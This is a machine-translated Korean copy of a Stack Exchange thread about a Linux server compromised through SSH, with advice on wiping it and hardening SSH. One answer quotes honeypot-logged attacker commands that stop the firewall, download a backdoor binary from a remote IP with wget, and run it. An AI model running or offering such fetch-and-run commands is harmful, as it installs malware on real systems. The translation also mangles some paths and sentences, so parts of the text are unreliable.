vaid

같은 LAN에있는 다른 박스는 어떻습니까?
WGroleau

좋은 질문. 제공된 쉘 히스토리는 동일한 네트워크에서 다른 상자를 발견하고 손상하려는 시도를 나타내지 않습니다. 보다 일반적으로 공격자가 상자에 대한 SSH (루트) 액세스 권한을 얻는 경우 기본적으로 주변 방화벽을 우회했음을 의미합니다. 그러나 다른 상자가 손상되었다는 것을 자동으로 암시하지는 않습니다. 패치되지 않은 취약성, 상자간에 공유되는 암호, 한 상자에서 다른 상자로 자동 로그인 등이 필요합니다.
Viktor Toth

18

내 sshd-honeypot도 이런 종류의 공격을 보았습니다. 해당 URL의 첫 다운로드는 2016 년 1 월 29 일 10시 25 분 33 초에 시작되었으며 여전히 공격이 진행 중입니다. 공격은 /에서 온

103.30.4.212
111.68.6.170
118.193.228.169

이 공격자들의 의견은 다음과 같습니다.

서비스 iptables 중지
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

따라서 나중에 백도어를 설치하는 것 외에 다른 활동은 없습니다.


동의, 그것은 같은 MO입니다.
MariusMatutiae

1
@MariusMatutiae 그렇다면 이것은 수동 핵이 아닌가? 자기 확산 웜 / 봇의 일종입니까?
NickG

1
@NickG 가장 좋은 추측은 이것이 수동 해킹이 아니라는 것입니다. 중국 기반 봇넷의 창시자와 동일한 사무실에서 vaid가 작동 할 확률은 얼마입니까? 누군가가 자신의 컴퓨터에서 악용 가능한 약점을 발견했으며, 아마도 보안이 취약한 ssh 서버, 암호를 무력화하고 액세스 권한을 얻었으며 자신을 몰래 설치하려고했습니다. 그러나 공격자가 Linux보다 Windows에 더 유창하다고 확신합니다. 그러나 나는 이것에 대한 확실한 증거 가 없으며 교육받은 추측 일뿐입니다.
MariusMatutiae

12

여기에있는 모든 사람은 확실한 조언을 제공했지만 명확하게 말하자면 우선 순위는 해당 시스템에서 실제로 필요한 것을 백업하고 확인한 다음 알려진 안전한 미디어에서 새로 설치하여 닦아야합니다.

새로 설치된 호스트를 인터넷에 연결하기 전에 다음 아이디어를 수행하십시오.

  1. 루트가 아닌 새 사용자를 작성하고 해당 사용자로 로그인하십시오. 루트로 로그인 할 필요가 없으며 필요할 때 sudo (대체 사용자) 만 로그인하면됩니다.

  2. 필수 액세스 제어를 가능하게하는 구성 설정 SE Linux, https://wiki.debian.org/SELinux/Setup을 설치하십시오.

  3. 사무실 / 가정과 인터넷 사이의 하드웨어 방화벽을 고려하십시오. 훌륭한 커뮤니티 지원을 제공하는 MicroTik을 사용합니다 : http://routerboard.com/ .

유료 작업을 완료하기위한 일정이 있다고 가정하면 적어도 # 1을 수행하십시오. # 3는 빠르고 저렴하지만, 우편물로 포장을 기다리거나 상점으로 가야합니다.


3
그리고 무엇보다도 공개 루트 세션으로 PC를 무인 상태로 두지 마십시오!
MariusMatutiae

11
  1. 데비안 armhf는 호스트 이름? 아니면 기본 설정으로 기본 설치를 사용합니까? 문제는 없지만 호스트가 인터넷에 직접 노출되는 것을 허용해서는 안됩니다 (즉, 적어도 모뎀으로 보호되지 않음).

  2. 실제 문제는 222.186.30.209 에서 발생하는 것 같습니다 ( http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 참조 ). Microsoft의 IP를 보는 데 많은주의를 기울이지 않아야합니다. IP는 다소 쉽게 위조 / 스푸핑 될 수 있습니다.

  3. 인터넷에 연결하는 일반적인 방법은 알려진 포트 목록을 퍼블릭 IP (예 : 8.8.8.8)에서 로컬 (예 : 192.168.1.12)로 전달하는 것입니다.

    • 예를 들어 들어오는 모든 연결을 8.8.8.8 (공개)에서 192.168.1.12 (로컬)로 전달하지 마십시오 .

    • 포트 2225 만 전달하십시오 (각각 SSH 및 수신 메일). 물론 최신 sshsmtp 패키지 / 라이브러리도 있어야합니다 .

  4. 무엇 향후 계획? 호스트의 연결을 끊고에서 쉘 스크립트 (하드웨어)로 하드 코딩 된 암호 (조직과 관련된 모든 컴퓨터에서)를 변경하십시오 /etc/shadow.


1. 예 debian-armhf 는 호스트 이름입니다. 2. 예. 해당 기사를 읽었으며 웹 사이트 cest.microsoft.com을 통해 Microsoft에 문의했습니다. 3. 25와 22 만 전달했지만 다른 전달은 없습니다. 4. 내가 할 것
15 분 42 초

"IP는 다소 쉽게 가짜 일 수 있습니다": 저는 보안 전문가 나 네트워크 전문가가 아닙니다. 어떻게 가능합니까?
kevinarpe

@kevinarpe 그것은 아마도 별도의 질문으로 훨씬 나을 것입니다.
CVn


2
@Archemar : SSH는 TCP입니다. 불가능하지는 않지만 TCP 소스 IP를 가짜로 만드는 것은 어렵습니다. 또한 위에서 설명한대로 Microsoft IP는 클라우드 서비스 Azure에 속하므로 누구나 다른 사람을 공격하기 위해 서비스에서 시간을 구입했을 수 있습니다.
nneonneo 2019

9

다른 사람들이 말했듯이 서버의 보안이 손상되었음을 분명히 알 수 있습니다. 가장 안전한 방법은이 기기를 닦고 다시 설치하는 것입니다.

질문의 두 번째 부분에 대답하려면 공개 키 인증을 사용할 수 없으면 적어도 Fail2Ban을 설정하고 비표준 포트에서 SSH를 실행하는 것이 좋습니다. 또한 루트 SSH 액세스를 비활성화합니다.

Fail2Ban 은 특정 횟수만큼 로그인에 실패한 IP 주소를 차단하여 무차별 대입 공격을 완화 할 수 있습니다.

비표준 포트에서 수신 대기하도록 sshd를 설정하면 SSH 서버의 가시성을 약간 줄이는 데 도움이됩니다. 루트 로그온을 비활성화하면 공격 프로필이 약간 줄어 듭니다. 에서 /etc/sshd_config:

PermitRootLogin no
Port xxxxx

루트 로그인이 비활성화 su되면 연결 한 후 루트로 전환 하거나 sudo권한있는 명령을 실행 하는 데 사용 하는 것이 좋습니다 (더 바람직하게는 사용) .


조언을 주셔서 감사합니다.
vaid

8

SSH 서버는 인터넷에서 끊임없이 공격을 받고 있습니다. 당신이하는 몇 가지 일 :

  1. 인터넷에 액세스 할 수있는 컴퓨터에는 매우 안전한 임의 암호를 사용해야합니다. 나는 16 자 이상이며 완전히 무작위입니다. 암호 관리자를 사용하면 암기 할 필요가 없습니다. 비밀번호를 기억할 수 있으면 너무 간단합니다.

  2. SSH가 필요하지 않은 경우 SSH를 끄십시오. 필요하지만 공개적으로 액세스 할 필요가없는 경우 비표준 포트 번호로 실행하십시오. 이렇게하면 해킹 시도가 크게 줄어 듭니다. 예. 전용 해커는 포트 스캔을 수행 할 수 있지만 자동화 된 봇은 찾지 못합니다.

인증 로그의 스 니펫에 실패한 시도가 표시됩니다. 그러나 더 자세히 살펴보면 성공적인 로그인을 보게 될 것입니다. 간단한 암호를 사용하면 봇이 쉽게 접근 할 수 있습니다.

이 시스템을 네트워크에서 분리해야합니다. 필요한 것을 매우 조심스럽게 얻은 다음 닦으십시오.


7
포트 22에서 ssh를 실행했을 때 일반적으로 하루에 수천 번의 해킹 시도가 발생했습니다. 높은 포트 번호 (50000 이상)로 변경하면 이러한 해킹 시도가 완전히 중지되었습니다.
user1751825

16 자로 충분하지 않습니다. 사용자 로그 아웃도 편리합니다. 파마를 잠그지 말고 만료 시키거나 한 시간 정도 만드십시오. 이 방법으로 여전히 서버에 액세스 할 수 있습니다.
Ramhound

강력한 인증 (공개 키 또는 강력한 암호)이있는 한 2) 단계는 보안에 반드시 필요한 것은 아닙니다.
user20574

2
@Ramhound 왜 안돼? 소문자 일지라도 16 개의 소문자는 43608742899428874059776의 가능성을 제공합니다. 이는 무차별 대용 적이 지 못합니다. 특히 시도에 실패 할 때마다 서버에서 대기하는 온라인 무차별 대입의 경우에는 더욱 그러합니다.
user20574

3
@ user20574. 꼭 필요한 것은 아니지만 SSH 서비스의 가시성을 줄이는 것이 여전히 도움이됩니다. 로그에서 혼란을 제거하는 것 외에 다른 이유가 없더라도. 제한된 그룹의 사람들 만 머신에 액세스 할 수 있어야하는 경우 비표준 포트는 보안을 향상시키기위한 매우 합리적인 단계입니다.
user1751825

6

전면 Linux / Unix 서버를 설정 한 후 모든 사람이해야 할 첫 번째 작업은 즉시 비활성화하는 것 root입니다.

시스템이 손상되었습니다. 어느 정도 살펴보기에는 멋진 기록이 있습니다. 그러나 정직하게 세부 사항을 해부하는 것은 다소 까다 롭고 서버 보안에 도움이되지 않습니다. 봇넷이 악성 코드를 생성했을 때 발생하는 모든 종류의 넌센스를 보여줍니다. @MariusMatutiae에서 제공하는 답변은 친절하고 잘 생각하고 당신을 통해 해킹되었다는 것을 반복 다른 사람이 있습니다 root악성 코드 / 봇넷의 젖은 꿈 액세스.

비활성화하는 방법에 대한 몇 가지 설명이 root있지만 개인적 경험을 통해 진술 할 것입니다. 지금 설명 할 것 이상의 모든 것은 과잉입니다. 이것은 당신이 무엇을 해야 할 때 처음 설치 서버 수행했다 :

  1. 와 새 사용자 만들기 sudo권한을 : 같은 새 이름-뭔가 새로운 사용자 생성 cooldude과 같은 명령 - 특수 sudo adduser cooldude우분투 나 데비안 시스템의 다른 유형을 사용하는 경우입니다. 그런 다음 sudo이와 같은 명령을 사용 하여 파일을 수동으로 편집 하고 해당 행 아래에 다음과 sudo nano /etc/sudoers같은 행을 추가하십시오 . 그런 다음 로그인 하여 권한이 작동 하는지 확인하기 위해 기본 및 비파괴적인 명령으로 명령을 테스트 하십시오 . 암호를 묻는 메시지가 표시 될 수 있습니다. 작동합니까? 문제 없다! 다음 단계로 넘어가십시오.cooldude ALL=(ALL:ALL) ALLroot ALL=(ALL:ALL) ALLcooldudesudosudo wsudo
  2. root계정 잠금 : 이제 권한 cooldude을 담당하고 sudo로그인 한 후이 cooldude명령을 실행하여 루트 계정을 잠급니다 sudo passwd -l root. 에 대한 SSH 키 페어를 만든 경우 키를 root열고 /root/.ssh/authorized_keys제거하십시오. 또는 SSH 키를 효과적으로 비활성화하려면 파일 이름을 authorized_keys_OFF이와 같이 바꾸십시오 sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF. 나는 비밀리에 로그인 할 필요가 없기 때문에 나중에 선호한다. 당신은 그 파일을 원래의 이름으로 다시 옮길 수있다.

FWIW, 나는 수십 년 동안 수십 개의 Linux 서버를 관리해 왔으며 경험을 통해 단순히 권한을 root사용 하지 않고 새로운 사용자를 설정하는 것이 sudo모든 Linux 시스템을 보호하는 가장 간단하고 기본적인 방법 이라는 것을 알고 있습니다. 일단 root비활성화 되면 SSH를 통한 모든 유형의 타협을 다루지 않아도 됩니다. 그리고 그렇습니다. 당신은 로그인 시도를 볼 수도 auth.log있지만 의미가 없습니다. 경우 root사용할 수 없습니다 다음 해당 시도는 아무것도를 추가하지 않습니다. 그냥 앉아서 시도가 끝없이 실패하는 것을 지켜보십시오!

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.